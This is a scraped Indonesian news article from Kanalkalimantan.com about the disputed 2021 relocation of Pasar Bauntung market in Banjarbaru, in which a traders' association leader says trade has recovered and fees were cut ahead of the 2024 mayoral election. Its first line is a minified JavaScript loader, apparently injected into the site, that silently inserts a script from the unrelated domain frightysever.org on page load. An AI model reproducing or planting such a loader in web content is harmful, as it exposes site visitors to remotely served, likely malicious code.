(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMAMTAN.COM, BANJARBARU – Kontroversi relokasi pedagang Pasar Bauntung Banjarbaru pada 2021 silam kembali jadi isu liar jelang Piwali Banjarbaru 2024. Entah siapa yang memantik api, tiba-tiba Nama Aditya Mufti Ariffin, calon petahana Wali Kota Banjarbaru kembali digoreng.
Dikabarkan ada keluhan pedagang yang mengaku rugi secara pendapatan imbas kebijakan pemindahan lokasi Pasar Bauntung Banjarbaru. Hal ini mendasari kecewaan pedagang tersebut atas kepemimpinan Aditya yang menjabat sebagai Wali Kota Banjarbaru 2021-2024.
Pasar yang dulu berada di Kelurahan Kemuning, kini telah berpindah ke Jalan RO Ulin, Kelurahan Loktabat Selatan itu diklaim membuat pedagang kehilangan pendapatan secara ekonomi. Lokasi pasar baru yang dipilih Pemko Banjarbaru bahkan sebelum era kepemimpinan Aditya juga diniliai tidak strategis.
Ketua Paguyuban Pasar Bauntung Banjarbaru, Darmanto justru blak-blakan soal kondisi sebenarnya di Pasar Bauntung yang baru. Ia menegaskan bahwa kondisi pasar dari hari ke hari sudah semakin ramai.
Baca juga: KPU Kalsel Tetapkan 3.041.499 Pemilih Pilkada 2024
“Seiring perkembangan pasar sekitar 80 persen aktivitas jual beli semakain ramai,” ucapnya melalui via telepon, Senin (23/9/2024).
Menurut Darmanto, situasi di setiap pasar memang bisa berubah setiap waktunya, baik ramai maupun sebaliknya. Kondisi ini juga yang akan mempengaruhi emosional pedagang dan menurutnya hal yang wajar. “Kalau jualannya ramai senang, kalau jualannya sepi ya pasti ada yang mengeluh,” ujarnya.
Lebih lanjut, Darmanto juga mengakui Pemko Banjarbaru telah memberikan dukungan luar biasa kepada para pedagang. Seperti pada tahun 2022 dan 2023, dimana para pedagang mendapatkan potongan retribusi sebesar 50 persen.
Kemudian di tahun 2024 ini, pihak Paguyuban Pasar mengusulkan untuk potongan retribusi menjadi 25 persen. Meskipun tak sebesar tahun-tahun sebelumnya, Darmanto meyakini hal tersebut akan tetap meringankan beban pedagang.
Baca juga: Kenal Genre Sejak 2015, Jalan Zainal Fuad Raih Genrengers Award 2024
“Yang artinya sudah sangat meringankan. Seperti lapak sayur yang normalnya Rp240 ribu menjadi sekitar Rp140 ribu saja. Dan potongan retribusi ini sama rata semua, dan mereka setuju. Dan, Alhamdulillah semua sinkron saja. Artinya sudah standar aja dengan kondisi yang enak dan bersih,” tandasnya.
Sekadar informasi, Pasar Bauntung Banjarbaru di Jalan RO Ulin resmi dibuka dan beroperasi pada Februari 2021. Kala itu, peresmian relokasi pasar dilakukan oleh Wali Kota Banjarbaru H Darmawan Jaya Setiawan.
Di bulan dan tahun yang sama pula, beberapa minggu setelah peresmian, Aditya Mufti Ariffin resmi dilantik sebagai Wali Kota Banjarbaru periode 2021-2024. Sehingga program relokasi Pasar Bauntung yang menjadi program unggulan Wali Kota Banjarbaru sebelumnya, berserta dinamikanya secara resmi diwariskan ke era Aditya. (Kanalkalimantan.com/rls)
Reporter: rls
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP memimpin High… Read More
KANALKALIMANTAN.COM, MARTAPURA - Konsultasi publik (KP) Pertama Rencana Detail Tata Ruang dan Kajian Lingkungan Hidup… Read More
KANALKALIMANTAN.COM, BANJARBARU - Progres pembangunan Area Traffic Control System (ATCS) di kawasan Tugu Adipura Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua pasangan calon (Paslon) untuk Pemilihan Wali Kota (Pilwali) Banjarbaru mendeklarasikan kampanye… Read More
KANALKALIMANTAN.COM, MUARA TEWEH – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya berupaya untuk terus… Read More
KANALKALIMANAN.COM, MARTAPURA - Sudah sepekan gelang kaki elektronik terpasang di betis kanan Sumardi, petani tua… Read More
This website uses cookies.